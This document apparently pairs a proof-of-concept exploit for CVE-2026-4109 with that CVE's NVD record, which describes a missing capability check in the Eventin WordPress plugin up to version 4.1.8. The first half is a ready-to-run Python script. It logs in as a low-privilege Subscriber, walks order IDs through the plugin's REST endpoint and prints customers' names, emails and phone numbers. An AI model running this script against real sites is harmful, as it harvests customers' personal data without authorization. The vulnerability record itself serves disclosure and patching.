CVE-2026-4109

import requests # Target configuration base_url = "http://target-site.com" api_endpoint = base_url + "/wp-json/eventin/v1/orders/{}" # Authenticate with a low-privilege user (Subscriber level) session = requests.Session() login_payload = { "log": "subscriber_user", # Low privilege username "pwd": "password", # Password "redirect_to": "", "wp-submit": "Log In", "testcookie": "1" } # Perform login session.post(base_url + "/wp-login.php", data=login_payload) # Iterate through potential Order IDs to leak data for order_id in range(1, 100): response = session.get(api_endpoint.format(order_id)) if response.status_code == 200: data = response.json() # Check if valid order data is returned if 'id' in data: print(f"[+] Leaked Order ID {order_id}:") print(f" Name: {data.get('billing', {}).get('first_name')} {data.get('billing', {}).get('last_name')}") print(f" Email: {data.get('billing', {}).get('email')}") print(f" Phone: {data.get('billing', {}).get('phone')}") elif response.status_code == 401 or response.status_code == 403: # Stop if permission is actually denied (though unlikely in this vuln) print("[-] Permission denied or session expired.") break elif response.status_code == 404: # Order ID does not exist, continue continue

{"cve": {"id": "CVE-2026-4109", "sourceIdentifier": "[email protected]", "published": "2026-04-14T09:16:36.460", "lastModified": "2026-04-22T20:23:16.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Eventin – Events Calendar, Event Booking, Ticket & Registration (AI Powered) plugin for WordPress is vulnerable to unauthorized access of data due to a improper capability check on the get_item_permissions_check() function in all versions up to, and including, 4.1.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read arbitrary order data including customer PII (name, email, phone) by iterating order IDs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3501510/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/87f82d5d-d89a-440d-8c23-ace5160a0739?source=cve", "source": "[email protected]"}]}}